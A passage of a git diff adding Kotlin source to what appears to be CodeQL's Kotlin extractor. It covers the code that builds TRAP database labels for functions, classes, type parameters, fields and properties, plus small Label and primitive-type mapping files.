+                } else {
+                    extractFileClass(dp)
+                }
+            is IrClass -> if (classTypeArguments != null && !dp.isAnonymousObject) useClassInstance(dp, classTypeArguments, inReceiverContext).typeResult.id else useClassSource(dp)
+            is IrFunction -> useFunction(dp)
+            is IrExternalPackageFragment -> {
+                // TODO
+                logger.error("Unhandled IrExternalPackageFragment")
+                null
+            }
+            else -> {
+                logger.error("Unrecognised IrDeclarationParent: " + dp.javaClass)
+                null
+            }
+        }
+
+    private val IrDeclaration.isAnonymousFunction get() = this is IrSimpleFunction && name == SpecialNames.NO_NAME_PROVIDED
+
+    data class FunctionNames(val nameInDB: String, val kotlinName: String)
+
+    fun getFunctionShortName(f: IrFunction) : FunctionNames {
+        if (f.origin == IrDeclarationOrigin.LOCAL_FUNCTION_FOR_LAMBDA || f.isAnonymousFunction)
+            return FunctionNames(
+                OperatorNameConventions.INVOKE.asString(),
+                OperatorNameConventions.INVOKE.asString())
+        (f as? IrSimpleFunction)?.correspondingPropertySymbol?.let {
+            val propName = it.owner.name.asString()
+            val getter = it.owner.getter
+            val setter = it.owner.setter
+
+            if (it.owner.parentClassOrNull?.kind == ClassKind.ANNOTATION_CLASS) {
+                if (getter == null) {
+                    logger.error("Expected to find a getter for a property inside an annotation class")
+                    return FunctionNames(propName, propName)
+                } else {
+                    val jvmName = getJvmName(getter)
+                    return FunctionNames(jvmName ?: propName, propName)
+                }
+            }
+
+            when (f) {
+                getter -> {
+                    val defaultFunctionName = JvmAbi.getterName(propName)
+                    val defaultDbName = if (getter.visibility == DescriptorVisibilities.PRIVATE && getter.origin == IrDeclarationOrigin.DEFAULT_PROPERTY_ACCESSOR) {
+                        // In JVM these functions don't exist, instead the backing field is accessed directly
+                        defaultFunctionName + "\$private"
+                    } else {
+                        defaultFunctionName
+                    }
+                    return FunctionNames(getJvmName(getter) ?: defaultDbName, defaultFunctionName)
+                }
+                setter -> {
+                    val defaultFunctionName = JvmAbi.setterName(propName)
+                    val defaultDbName = if (setter.visibility == DescriptorVisibilities.PRIVATE && setter.origin == IrDeclarationOrigin.DEFAULT_PROPERTY_ACCESSOR) {
+                        // In JVM these functions don't exist, instead the backing field is accessed directly
+                        defaultFunctionName + "\$private"
+                    } else {
+                        defaultFunctionName
+                    }
+                    return FunctionNames(getJvmName(setter) ?: defaultDbName, defaultFunctionName)
+                }
+                else -> {
+                    logger.error(
+                        "Function has a corresponding property, but is neither the getter nor the setter"
+                    )
+                }
+            }
+        }
+        return FunctionNames(getJvmName(f) ?: f.name.asString(), f.name.asString())
+    }
+
+    // This excludes class type parameters that show up in (at least) constructors' typeParameters list.
+    fun getFunctionTypeParameters(f: IrFunction): List<IrTypeParameter> {
+        return if (f is IrConstructor) f.typeParameters else f.typeParameters.filter { it.parent == f }
+    }
+
+    fun getTypeParameters(dp: IrDeclarationParent): List<IrTypeParameter> =
+        when(dp) {
+            is IrClass -> dp.typeParameters
+            is IrFunction -> getFunctionTypeParameters(dp)
+            else -> listOf()
+        }
+
+    fun getEnclosingClass(it: IrDeclarationParent): IrClass? =
+        when(it) {
+            is IrClass -> it
+            is IrFunction -> getEnclosingClass(it.parent)
+            else -> null
+        }
+
+    /*
+     * This is the normal getFunctionLabel function to use. If you want
+     * to refer to the function in its source class then
+     * classTypeArgsIncludingOuterClasses should be null. Otherwise, it
+     * is the list of type arguments that need to be applied to its
+     * enclosing classes to get the instantiation that this function is
+     * in.
+     */
+    fun getFunctionLabel(f: IrFunction, classTypeArgsIncludingOuterClasses: List<IrTypeArgument>?) : String {
+        return getFunctionLabel(f, null, classTypeArgsIncludingOuterClasses)
+    }
+
+    /*
+     * There are some pairs of classes (e.g. `kotlin.Throwable` and
+     * `java.lang.Throwable`) which are really just 2 different names
+     * for the same class. However, we extract them as separate
+     * classes. When extracting `kotlin.Throwable`'s methods, if we
+     * looked up the parent ID ourselves, we would get as ID for
+     * `java.lang.Throwable`, which isn't what we want. So we have to
+     * allow it to be passed in.
+    */
+    fun getFunctionLabel(f: IrFunction, maybeParentId: Label<out DbElement>?, classTypeArgsIncludingOuterClasses: List<IrTypeArgument>?) =
+        getFunctionLabel(f.parent, maybeParentId, getFunctionShortName(f).nameInDB, f.valueParameters, f.returnType, f.extensionReceiverParameter, getFunctionTypeParameters(f), classTypeArgsIncludingOuterClasses)
+
+    /*
+     * This function actually generates the label for a function.
+     * Sometimes, a function is only generated by kotlinc when writing a
+     * class file, so there is no corresponding `IrFunction` for it.
+     * This function therefore takes all the constituent parts of a
+     * function instead.
+     */
+    fun getFunctionLabel(
+        // The parent of the function; normally f.parent.
+        parent: IrDeclarationParent,
+        // The ID of the function's parent, or null if we should work it out ourselves.
+        maybeParentId: Label<out DbElement>?,
+        // The name of the function; normally f.name.asString().
+        name: String,
+        // The value parameters that the functions takes; normally f.valueParameters.
+        parameters: List<IrValueParameter>,
+        // The return type of the function; normally f.returnType.
+        returnType: IrType,
+        // The extension receiver of the function, if any; normally f.extensionReceiverParameter.
+        extensionReceiverParameter: IrValueParameter?,
+        // The type parameters of the function. This does not include type parameters of enclosing classes.
+        functionTypeParameters: List<IrTypeParameter>,
+        // The type arguments of enclosing classes of the function.
+        classTypeArgsIncludingOuterClasses: List<IrTypeArgument>?,
+        // The prefix used in the label. "callable", unless a property label is created, then it's "property".
+        prefix: String = "callable"
+    ): String {
+        val parentId = maybeParentId ?: useDeclarationParent(parent, false, classTypeArgsIncludingOuterClasses, true)
+        val allParams = if (extensionReceiverParameter == null) {
+                            parameters
+                        } else {
+                            listOf(extensionReceiverParameter) + parameters
+                        }
+
+        val substitutionMap = classTypeArgsIncludingOuterClasses?.let { notNullArgs ->
+            if (notNullArgs.isEmpty()) {
+                null
+            } else {
+                val enclosingClass = getEnclosingClass(parent)
+                enclosingClass?.let { notNullClass -> makeTypeGenericSubstitutionMap(notNullClass, notNullArgs) }
+            }
+        }
+        val getIdForFunctionLabel = { it: IrValueParameter ->
+            // Mimic the Java extractor's behaviour: functions with type parameters are named for their erased types;
+            // those without type parameters are named for the generic type.
+            val maybeSubbed = it.type.substituteTypeAndArguments(substitutionMap, TypeContext.OTHER, pluginContext)
+            val maybeErased = if (functionTypeParameters.isEmpty()) maybeSubbed else erase(maybeSubbed)
+            "{${useType(maybeErased).javaResult.id}}"
+        }
+        val paramTypeIds = allParams.joinToString(separator = ",", transform = getIdForFunctionLabel)
+        val labelReturnType =
+            if (name == "<init>")
+                pluginContext.irBuiltIns.unitType
+            else
+                erase(returnType.substituteTypeAndArguments(substitutionMap, TypeContext.RETURN, pluginContext))
+        val returnTypeId = useType(labelReturnType, TypeContext.RETURN).javaResult.id
+        // This suffix is added to generic methods (and constructors) to match the Java extractor's behaviour.
+        // Comments in that extractor indicates it didn't want the label of the callable to clash with the raw
+        // method (and presumably that disambiguation is never needed when the method belongs to a parameterized
+        // instance of a generic class), but as of now I don't know when the raw method would be referred to.
+        val typeArgSuffix = if (functionTypeParameters.isNotEmpty() && classTypeArgsIncludingOuterClasses.isNullOrEmpty()) "<${functionTypeParameters.size}>" else "";
+        return "@\"$prefix;{$parentId}.$name($paramTypeIds){$returnTypeId}${typeArgSuffix}\""
+    }
+
+    protected fun IrFunction.isLocalFunction(): Boolean {
+        return this.visibility == DescriptorVisibilities.LOCAL
+    }
+
+    /**
+     * Class to hold labels for generated classes around local functions, lambdas, function references, and property references.
+     */
+    open class GeneratedClassLabels(val type: TypeResults, val constructor: Label<DbConstructor>, val constructorBlock: Label<DbBlock>)
+
+    /**
+     * Class to hold labels generated for locally visible functions, such as
+     *  - local functions,
+     *  - lambdas, and
+     *  - wrappers around function references.
+     */
+    class LocallyVisibleFunctionLabels(type: TypeResults, constructor: Label<DbConstructor>, constructorBlock: Label<DbBlock>, val function: Label<DbMethod>)
+        : GeneratedClassLabels(type, constructor, constructorBlock)
+
+    /**
+     * Gets the labels for functions belonging to
+     *  - local functions, and
+     *  - lambdas.
+     */
+    fun getLocallyVisibleFunctionLabels(f: IrFunction): LocallyVisibleFunctionLabels {
+        if (!f.isLocalFunction()){
+            logger.error("Extracting a non-local function as a local one")
+        }
+
+        var res = tw.lm.locallyVisibleFunctionLabelMapping[f]
+        if (res == null) {
+            val javaResult = TypeResult(tw.getFreshIdLabel<DbClass>(), "", "")
+            val kotlinResult = TypeResult(tw.getFreshIdLabel<DbKt_notnull_type>(), "", "")
+            tw.writeKt_notnull_types(kotlinResult.id, javaResult.id)
+            res = LocallyVisibleFunctionLabels(
+                TypeResults(javaResult, kotlinResult),
+                tw.getFreshIdLabel(),
+                tw.getFreshIdLabel(),
+                tw.getFreshIdLabel()
+            )
+            tw.lm.locallyVisibleFunctionLabelMapping[f] = res
+        }
+
+        return res
+    }
+
+    fun <T: DbCallable> useFunctionCommon(f: IrFunction, label: String): Label<out T> {
+        val id: Label<T> = tw.getLabelFor(label)
+        if (isExternalDeclaration(f)) {
+            extractFunctionLaterIfExternalFileMember(f)
+            extractExternalEnclosingClassLater(f)
+        }
+        return id
+    }
+
+    // These are classes with Java equivalents, but whose methods don't all exist on those Java equivalents--
+    // for example, the numeric classes define arithmetic functions (Int.plus, Long.or and so on) that lower to
+    // primitive arithmetic on the JVM, but which we extract as calls to reflect the source syntax more closely.
+    private val expectedMissingEquivalents = setOf(
+        "kotlin.Boolean", "kotlin.Byte", "kotlin.Char", "kotlin.Double", "kotlin.Float", "kotlin.Int", "kotlin.Long", "kotlin.Number", "kotlin.Short"
+    )
+
+    fun kotlinFunctionToJavaEquivalent(f: IrFunction, noReplace: Boolean) =
+        if (noReplace)
+            f
+        else
+            f.parentClassOrNull?.let { parentClass ->
+                getJavaEquivalentClass(parentClass)?.let { javaClass ->
+                    if (javaClass != parentClass)
+                        // Look for an exact type match...
+                        javaClass.declarations.find { decl ->
+                            decl is IrFunction &&
+                            decl.name == f.name &&
+                            decl.valueParameters.size == f.valueParameters.size &&
+                            // Note matching by classifier not the whole type so that generic arguments are allowed to differ,
+                            // as they always will for method type parameters occurring in parameter types (e.g. <T> toArray(T[] array)
+                            // Differing only by nullability would also be insignificant if it came up.
+                            decl.valueParameters.zip(f.valueParameters).all { p -> p.first.type.classifierOrNull == p.second.type.classifierOrNull }
+                        } ?:
+                        // Or if there is none, look for the only viable overload
+                        javaClass.declarations.singleOrNull { decl ->
+                            decl is IrFunction &&
+                            decl.name == f.name &&
+                            decl.valueParameters.size == f.valueParameters.size
+                        } ?:
+                        run {
+                            val parentFqName = parentClass.fqNameWhenAvailable?.asString()
+                            if (!expectedMissingEquivalents.contains(parentFqName)) {
+                                logger.warn("Couldn't find a Java equivalent function to $parentFqName.${f.name} in ${javaClass.fqNameWhenAvailable}")
+                            }
+                            null
+                        }
+                    else
+                        null
+                }
+            } as IrFunction? ?: f
+
+    fun <T: DbCallable> useFunction(f: IrFunction, classTypeArgsIncludingOuterClasses: List<IrTypeArgument>? = null, noReplace: Boolean = false): Label<out T> {
+        if (f.isLocalFunction()) {
+            val ids = getLocallyVisibleFunctionLabels(f)
+            return ids.function.cast<T>()
+        } else {
+            val realFunction = kotlinFunctionToJavaEquivalent(f, noReplace)
+            return useFunctionCommon<T>(realFunction, getFunctionLabel(realFunction, classTypeArgsIncludingOuterClasses))
+        }
+    }
+
+    fun <T: DbCallable> useFunction(f: IrFunction, parentId: Label<out DbElement>, classTypeArgsIncludingOuterClasses: List<IrTypeArgument>?, noReplace: Boolean = false) =
+        kotlinFunctionToJavaEquivalent(f, noReplace).let {
+            useFunctionCommon<T>(it, getFunctionLabel(it, parentId, classTypeArgsIncludingOuterClasses))
+        }
+
+    fun getTypeArgumentLabel(
+        arg: IrTypeArgument
+    ): TypeResult<DbReftype> {
+
+        fun extractBoundedWildcard(wildcardKind: Int, wildcardLabelStr: String, wildcardShortName: String, boundLabel: Label<out DbReftype>): Label<DbWildcard> =
+            tw.getLabelFor(wildcardLabelStr) { wildcardLabel ->
+                tw.writeWildcards(wildcardLabel, wildcardShortName, wildcardKind)
+                tw.writeHasLocation(wildcardLabel, tw.unknownLocation)
+                tw.getLabelFor<DbTypebound>("@\"bound;0;{$wildcardLabel}\"") {
+                    tw.writeTypeBounds(it, boundLabel, 0, wildcardLabel)
+                }
+            }
+
+        // Note this function doesn't return a signature because type arguments are never incorporated into function signatures.
+        return when (arg) {
+            is IrStarProjection -> {
+                val anyTypeLabel = useType(pluginContext.irBuiltIns.anyType).javaResult.id.cast<DbReftype>()
+                TypeResult(extractBoundedWildcard(1, "@\"wildcard;\"", "?", anyTypeLabel), null, "?")
+            }
+            is IrTypeProjection -> {
+                val boundResults = useType(arg.type, TypeContext.GENERIC_ARGUMENT)
+                val boundLabel = boundResults.javaResult.id.cast<DbReftype>()
+
+                return if(arg.variance == Variance.INVARIANT)
+                    boundResults.javaResult.cast<DbReftype>()
+                else {
+                    val keyPrefix = if (arg.variance == Variance.IN_VARIANCE) "super" else "extends"
+                    val wildcardKind = if (arg.variance == Variance.IN_VARIANCE) 2 else 1
+                    val wildcardShortName = "? $keyPrefix ${boundResults.javaResult.shortName}"
+                    TypeResult(
+                        extractBoundedWildcard(wildcardKind, "@\"wildcard;$keyPrefix{$boundLabel}\"", wildcardShortName, boundLabel),
+                        null,
+                        wildcardShortName)
+                }
+            }
+            else -> {
+                logger.error("Unexpected type argument.")
+                return TypeResult(fakeLabel(), "unknown", "unknown")
+            }
+        }
+    }
+
+    data class ClassLabelResults(
+        val classLabel: String, val shortName: String
+    )
+
+    /**
+     * This returns the `X` in c's label `@"class;X"`.
+     *
+     * `argsIncludingOuterClasses` can be null to describe a raw generic type.
+     * For non-generic types it will be zero-length list.
+     */
+    private fun getUnquotedClassLabel(c: IrClass, argsIncludingOuterClasses: List<IrTypeArgument>?): ClassLabelResults {
+        val pkg = c.packageFqName?.asString() ?: ""
+        val cls = c.name.asString()
+        val label = when (val parent = c.parent) {
+            is IrClass -> {
+                "${getUnquotedClassLabel(parent, listOf()).classLabel}\$$cls"
+            }
+            is IrFunction -> {
+                "{${useFunction<DbMethod>(parent)}}.$cls"
+            }
+            is IrField -> {
+                "{${useField(parent)}}.$cls"
+            }
+            else -> {
+                if (pkg.isEmpty()) cls else "$pkg.$cls"
+            }
+        }
+
+        val reorderedArgs = orderTypeArgsLeftToRight(c, argsIncludingOuterClasses)
+        val typeArgLabels = reorderedArgs?.map { getTypeArgumentLabel(it) }
+        val typeArgsShortName =
+            if (typeArgLabels == null)
+                "<>"
+            else if(typeArgLabels.isEmpty())
+                ""
+            else
+                typeArgLabels.takeLast(c.typeParameters.size).joinToString(prefix = "<", postfix = ">", separator = ",") { it.shortName }
+
+        return ClassLabelResults(
+            label + (typeArgLabels?.joinToString(separator = "") { ";{${it.id}}" } ?: "<>"),
+            cls + typeArgsShortName
+        )
+    }
+
+    // `args` can be null to describe a raw generic type.
+    // For non-generic types it will be zero-length list.
+    fun getClassLabel(c: IrClass, argsIncludingOuterClasses: List<IrTypeArgument>?): ClassLabelResults {
+        if (c.isAnonymousObject) {
+            logger.error("Label generation should not be requested for an anonymous class")
+        }
+
+        val unquotedLabel = getUnquotedClassLabel(c, argsIncludingOuterClasses)
+        return ClassLabelResults(
+            "@\"class;${unquotedLabel.classLabel}\"",
+            unquotedLabel.shortName)
+    }
+
+    fun useClassSource(c: IrClass): Label<out DbClassorinterface> {
+        if (c.isAnonymousObject) {
+            return useAnonymousClass(c).javaResult.id.cast<DbClass>()
+        }
+
+        // For source classes, the label doesn't include and type arguments
+        val classTypeResult = addClassLabel(c, listOf())
+        return classTypeResult.id
+    }
+
+    fun getTypeParameterParentLabel(param: IrTypeParameter) =
+        param.parent.let {
+            when (it) {
+                is IrClass -> useClassSource(it)
+                is IrFunction -> useFunction(it, noReplace = true)
+                else -> { logger.error("Unexpected type parameter parent $it"); null }
+            }
+        }
+
+    fun getTypeParameterLabel(param: IrTypeParameter): String {
+        // Use this instead of `useDeclarationParent` so we can use useFunction with noReplace = true,
+        // ensuring that e.g. a method-scoped type variable declared on kotlin.String.transform <R> gets
+        // a different name to the corresponding java.lang.String.transform <R>, even though useFunction
+        // will usually replace references to one function with the other.
+        val parentLabel = getTypeParameterParentLabel(param)
+        return "@\"typevar;{$parentLabel};${param.name}\""
+    }
+
+    fun useTypeParameter(param: IrTypeParameter) =
+        TypeResult(
+            tw.getLabelFor<DbTypevariable>(getTypeParameterLabel(param)),
+            useType(eraseTypeParameter(param)).javaResult.signature,
+            param.name.asString()
+        )
+
+    fun extractModifier(m: String): Label<DbModifier> {
+        val modifierLabel = "@\"modifier;$m\""
+        val id: Label<DbModifier> = tw.getLabelFor(modifierLabel, {
+            tw.writeModifiers(it, m)
+        })
+        return id
+    }
+
+    fun addModifiers(modifiable: Label<out DbModifiable>, vararg modifiers: String) =
+        modifiers.forEach { tw.writeHasModifier(modifiable, extractModifier(it)) }
+
+    sealed class ExtractSupertypesMode {
+        object Unbound : ExtractSupertypesMode()
+        object Raw : ExtractSupertypesMode()
+        data class Specialised(val typeArgs : List<IrTypeArgument>) : ExtractSupertypesMode()
+    }
+
+    /**
+     * Extracts the supertypes of class `c`, either the unbound version, raw version or a specialisation to particular
+     * type arguments, depending on the value of `mode`. `id` is the label of this class or class instantiation.
+     *
+     * For example, for type `List` if `mode` `Specialised([String])` then we will extract the supertypes
+     * of `List<String>`, i.e. `Appendable<String>` etc, or if `mode` is `Unbound` we will extract `Appendable<E>`
+     * where `E` is the type variable declared as `List<E>`. Finally if `mode` is `Raw` we will extract the raw type
+     * `Appendable`, represented in QL as `Appendable<>`.
+     *
+     * Argument `inReceiverContext` will be passed onto the `useClassInstance` invocation for each supertype.
+     */
+    fun extractClassSupertypes(c: IrClass, id: Label<out DbReftype>, mode: ExtractSupertypesMode = ExtractSupertypesMode.Unbound, inReceiverContext: Boolean = false) {
+        extractClassSupertypes(c.superTypes, c.typeParameters, id, mode, inReceiverContext)
+    }
+
+    fun extractClassSupertypes(superTypes: List<IrType>, typeParameters: List<IrTypeParameter>, id: Label<out DbReftype>, mode: ExtractSupertypesMode = ExtractSupertypesMode.Unbound, inReceiverContext: Boolean = false) {
+        // Note we only need to substitute type args here because it is illegal to directly extend a type variable.
+        // (For example, we can't have `class A<E> : E`, but can have `class A<E> : Comparable<E>`)
+        val subbedSupertypes = when(mode) {
+            is ExtractSupertypesMode.Specialised -> {
+                superTypes.map {
+                    it.substituteTypeArguments(typeParameters, mode.typeArgs)
+                }
+            }
+            else -> superTypes
+        }
+
+        for(t in subbedSupertypes) {
+            when(t) {
+                is IrSimpleType -> {
+                    when (t.classifier.owner) {
+                        is IrClass -> {
+                            val classifier: IrClassifierSymbol = t.classifier
+                            val tcls: IrClass = classifier.owner as IrClass
+                            val typeArgs = if (t.arguments.isNotEmpty() && mode is ExtractSupertypesMode.Raw) null else t.arguments
+                            val l = useClassInstance(tcls, typeArgs, inReceiverContext).typeResult.id
+                            tw.writeExtendsReftype(id, l)
+                        }
+                        else -> {
+                            logger.error("Unexpected simple type supertype: " + t.javaClass + ": " + t.render())
+                        }
+                    }
+                } else -> {
+                    logger.error("Unexpected supertype: " + t.javaClass + ": " + t.render())
+                }
+            }
+        }
+    }
+
+    fun useValueDeclaration(d: IrValueDeclaration): Label<out DbVariable>? =
+        when(d) {
+            is IrValueParameter -> useValueParameter(d, null)
+            is IrVariable -> useVariable(d)
+            else -> {
+                logger.error("Unrecognised IrValueDeclaration: " + d.javaClass)
+                null
+            }
+        }
+
+    /**
+     * Returns `t` with generic types replaced by raw types, and type parameters replaced by their first bound.
+     *
+     * Note that `Array<T>` is retained (with `T` itself erased) because these are expected to be lowered to Java
+     * arrays, which are not generic.
+     */
+    fun erase (t: IrType): IrType {
+        if (t is IrSimpleType) {
+            val classifier = t.classifier
+            val owner = classifier.owner
+            if(owner is IrTypeParameter) {
+                return eraseTypeParameter(owner)
+            }
+
+            if (t.isArray() || t.isNullableArray()) {
+                val elementType = t.getArrayElementType(pluginContext.irBuiltIns)
+                val erasedElementType = erase(elementType)
+                return withQuestionMark((classifier as IrClassSymbol).typeWith(erasedElementType), t.hasQuestionMark)
+            }
+
+            if (owner is IrClass) {
+                return if (t.arguments.isNotEmpty())
+                    t.addAnnotations(listOf(RawTypeAnnotation.annotationConstructor))
+                else
+                    t
+            }
+        }
+        return t
+    }
+
+    fun eraseTypeParameter(t: IrTypeParameter) =
+        erase(t.superTypes[0])
+
+    /**
+     * Gets the label for `vp` in the context of function instance `parent`, or in that of its declaring function if
+     * `parent` is null.
+     */
+    fun getValueParameterLabel(vp: IrValueParameter, parent: Label<out DbCallable>?): String {
+        val declarationParent = vp.parent
+        val parentId = parent ?: useDeclarationParent(declarationParent, false)
+
+        val idx = if (declarationParent is IrFunction && declarationParent.extensionReceiverParameter != null)
+            // For extension functions increase the index to match what the java extractor sees:
+            vp.index + 1
+        else
+            vp.index
+
+        if (idx < 0) {
+            // We're not extracting this and this@TYPE parameters of functions:
+            logger.error("Unexpected negative index for parameter")
+        }
+
+        return "@\"params;{$parentId};$idx\""
+    }
+
+
+    fun useValueParameter(vp: IrValueParameter, parent: Label<out DbCallable>?): Label<out DbParam> =
+        tw.getLabelFor(getValueParameterLabel(vp, parent))
+
+    fun getFieldLabel(f: IrField): String {
+        val parentId = useDeclarationParent(f.parent, false)
+        return "@\"field;{$parentId};${f.name.asString()}\""
+    }
+
+    fun useField(f: IrField): Label<out DbField> =
+        tw.getLabelFor<DbField>(getFieldLabel(f)).also { extractFieldLaterIfExternalFileMember(f) }
+
+    fun getPropertyLabel(p: IrProperty): String? {
+        val parentId = useDeclarationParent(p.parent, false)
+        if (parentId == null) {
+            return null
+        } else {
+            return getPropertyLabel(p, parentId, null)
+        }
+    }
+
+    private fun getPropertyLabel(p: IrProperty, parentId: Label<out DbElement>, classTypeArgsIncludingOuterClasses: List<IrTypeArgument>?): String {
+        val getter = p.getter
+        val setter = p.setter
+
+        val func = getter ?: setter
+        val ext = func?.extensionReceiverParameter
+
+        return if (ext == null) {
+            "@\"property;{$parentId};${p.name.asString()}\""
+        } else {
+            val returnType = getter?.returnType ?: setter?.valueParameters?.singleOrNull()?.type ?: pluginContext.irBuiltIns.unitType
+            val typeParams = getFunctionTypeParameters(func)
+
+            getFunctionLabel(p.parent, parentId, p.name.asString(), listOf(), returnType, ext, typeParams, classTypeArgsIncludingOuterClasses, "property")
+        }
+    }
+
+    fun useProperty(p: IrProperty, parentId: Label<out DbElement>, classTypeArgsIncludingOuterClasses: List<IrTypeArgument>?): Label<out DbKt_property> =
+        tw.getLabelFor<DbKt_property>(getPropertyLabel(p, parentId, classTypeArgsIncludingOuterClasses)).also { extractPropertyLaterIfExternalFileMember(p) }
+
+    fun getEnumEntryLabel(ee: IrEnumEntry): String {
+        val parentId = useDeclarationParent(ee.parent, false)
+        return "@\"field;{$parentId};${ee.name.asString()}\""
+    }
+
+    fun useEnumEntry(ee: IrEnumEntry): Label<out DbField> =
+        tw.getLabelFor(getEnumEntryLabel(ee))
+
+    private fun getTypeAliasLabel(ta: IrTypeAlias): String {
+        val parentId = useDeclarationParent(ta.parent, true)
+        return "@\"type_alias;{$parentId};${ta.name.asString()}\""
+    }
+
+    fun useTypeAlias(ta: IrTypeAlias): Label<out DbKt_type_alias> =
+        tw.getLabelFor(getTypeAliasLabel(ta))
+
+    fun useVariable(v: IrVariable): Label<out DbLocalvar> {
+        return tw.getVariableLabelFor<DbLocalvar>(v)
+    }
+
+    fun withQuestionMark(t: IrType, hasQuestionMark: Boolean) = if(hasQuestionMark) t.makeNullable() else t.makeNotNull()
+
+}
diff --git a/java/kotlin-extractor/src/main/kotlin/Label.kt b/java/kotlin-extractor/src/main/kotlin/Label.kt
new file mode 100644
index 00000000000..24e9a8f691c
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/Label.kt
@@ -0,0 +1,43 @@
+package com.github.codeql
+
+import java.io.PrintWriter
+import java.io.StringWriter
+
+/**
+ * This represents a label (`#...`) in a TRAP file.
+ */
+interface Label<T> {
+    fun <U> cast(): Label<U> {
+        @Suppress("UNCHECKED_CAST")
+        return this as Label<U>
+    }
+}
+
+/**
+ * The label `#i`, e.g. `#123`. Most labels we generate are of this
+ * form.
+ */
+class IntLabel<T>(val i: Int): Label<T> {
+    override fun toString(): String = "#$i"
+}
+
+/**
+ * The label `#name`, e.g. `#compilation`. This is used when labels are
+ * shared between different components (e.g. when both the interceptor
+ * and the extractor need to refer to the same label).
+ */
+class StringLabel<T>(val name: String): Label<T> {
+    override fun toString(): String = "#$name"
+}
+
+// TODO: Remove this and all of its uses
+fun <T> fakeLabel(): Label<T> {
+    if (false) {
+        println("Fake label")
+    } else {
+        val sw = StringWriter()
+        Exception().printStackTrace(PrintWriter(sw))
+        println("Fake label from:\n$sw")
+    }
+    return IntLabel(0)
+}
diff --git a/java/kotlin-extractor/src/main/kotlin/PrimitiveTypeInfo.kt b/java/kotlin-extractor/src/main/kotlin/PrimitiveTypeInfo.kt
new file mode 100644
index 00000000000..6eaa27b0ca4
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/PrimitiveTypeInfo.kt
@@ -0,0 +1,84 @@
+package com.github.codeql
+
+import org.jetbrains.kotlin.backend.common.extensions.IrPluginContext
+import org.jetbrains.kotlin.ir.declarations.IrClass
+import org.jetbrains.kotlin.ir.types.IrSimpleType
+import org.jetbrains.kotlin.ir.types.IdSignatureValues
+import org.jetbrains.kotlin.ir.util.IdSignature
+import org.jetbrains.kotlin.name.FqName
+
+class PrimitiveTypeMapping(val logger: Logger, val pluginContext: IrPluginContext) {
+    fun getPrimitiveInfo(s: IrSimpleType) = mapping[s.classifier.signature]
+
+    data class PrimitiveTypeInfo(
+        val primitiveName: String?,
+        val otherIsPrimitive: Boolean,
+        val javaClass: IrClass,
+        val kotlinPackageName: String, val kotlinClassName: String
+    )
+
+    private fun findClass(fqName: String, fallback: IrClass): IrClass {
+        val symbol = pluginContext.referenceClass(FqName(fqName))
+        if(symbol == null) {
+            logger.warn("Can't find $fqName")
+            // Do the best we can
+            return fallback
+        } else {
+           return symbol.owner
+        }
+    }
+
+    private val mapping = {
+        val kotlinByte = pluginContext.irBuiltIns.byteClass.owner
+        val javaLangByte = findClass("java.lang.Byte", kotlinByte)
+        val kotlinShort = pluginContext.irBuiltIns.shortClass.owner
+        val javaLangShort = findClass("java.lang.Short", kotlinShort)
+        val kotlinInt = pluginContext.irBuiltIns.intClass.owner
+        val javaLangInteger = findClass("java.lang.Integer", kotlinInt)
+        val kotlinLong = pluginContext.irBuiltIns.longClass.owner
+        val javaLangLong = findClass("java.lang.Long", kotlinLong)
+
+        val kotlinUByte = findClass("kotlin.UByte", kotlinByte)
+        val kotlinUShort = findClass("kotlin.UShort", kotlinShort)
+        val kotlinUInt = findClass("kotlin.UInt", kotlinInt)
+        val kotlinULong = findClass("kotlin.ULong", kotlinLong)
+
+        val kotlinDouble = pluginContext.irBuiltIns.doubleClass.owner
+        val javaLangDouble = findClass("java.lang.Double", kotlinDouble)
+        val kotlinFloat = pluginContext.irBuiltIns.floatClass.owner
+        val javaLangFloat = findClass("java.lang.Float", kotlinFloat)
+
+        val kotlinBoolean = pluginContext.irBuiltIns.booleanClass.owner
+        val javaLangBoolean = findClass("java.lang.Boolean", kotlinBoolean)
+
+        val kotlinChar = pluginContext.irBuiltIns.charClass.owner
+        val javaLangCharacter = findClass("java.lang.Character", kotlinChar)
+
+        val kotlinUnit = pluginContext.irBuiltIns.unitClass.owner
+
+        val kotlinNothing = pluginContext.irBuiltIns.nothingClass.owner
+        val javaLangVoid = findClass("java.lang.Void", kotlinNothing)
+
+        mapOf(
+            IdSignatureValues._byte to PrimitiveTypeInfo("byte", true, javaLangByte, "kotlin", "Byte"),
+            IdSignatureValues._short to PrimitiveTypeInfo("short", true, javaLangShort, "kotlin", "Short"),
+            IdSignatureValues._int to PrimitiveTypeInfo("int", true, javaLangInteger, "kotlin", "Int"),
+            IdSignatureValues._long to PrimitiveTypeInfo("long", true, javaLangLong, "kotlin", "Long"),
+
+            IdSignatureValues.uByte to PrimitiveTypeInfo("byte", true, kotlinUByte, "kotlin", "UByte"),
+            IdSignatureValues.uShort to PrimitiveTypeInfo("short", true, kotlinUShort, "kotlin", "UShort"),
+            IdSignatureValues.uInt to PrimitiveTypeInfo("int", true, kotlinUInt, "kotlin", "UInt"),
+            IdSignatureValues.uLong to PrimitiveTypeInfo("long", true, kotlinULong, "kotlin", "ULong"),
+
+            IdSignatureValues._double to PrimitiveTypeInfo("double", true, javaLangDouble, "kotlin", "Double"),
+            IdSignatureValues._float to PrimitiveTypeInfo("float", true, javaLangFloat, "kotlin", "Float"),
+
+            IdSignatureValues._boolean to PrimitiveTypeInfo("boolean", true, javaLangBoolean, "kotlin", "Boolean"),
+
+            IdSignatureValues._char to PrimitiveTypeInfo("char", true, javaLangCharacter, "kotlin", "Char"),
+
+            IdSignatureValues.unit to PrimitiveTypeInfo("void", false, kotlinUnit, "kotlin", "Unit"),
+            IdSignatureValues.nothing to PrimitiveTypeInfo(null, true, javaLangVoid, "kotlin", "Nothing"),
+        )
+    }()
+}
diff --git a/java/kotlin-extractor/src/main/kotlin/TrapWriter.kt b/java/kotlin-extractor/src/main/kotlin/TrapWriter.kt
new file mode 100644
index 00000000000..32f5edd7799
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/TrapWriter.kt
@@ -0,0 +1,381 @@
+package com.github.codeql
+
+import com.github.codeql.KotlinUsesExtractor.LocallyVisibleFunctionLabels
+import com.github.codeql.KotlinUsesExtractor.TypeResults
+import com.github.codeql.utils.versions.FileEntry
+import java.io.BufferedWriter
+import java.io.File
+import org.jetbrains.kotlin.ir.IrElement
+import org.jetbrains.kotlin.ir.declarations.path
+import org.jetbrains.kotlin.ir.declarations.IrClass
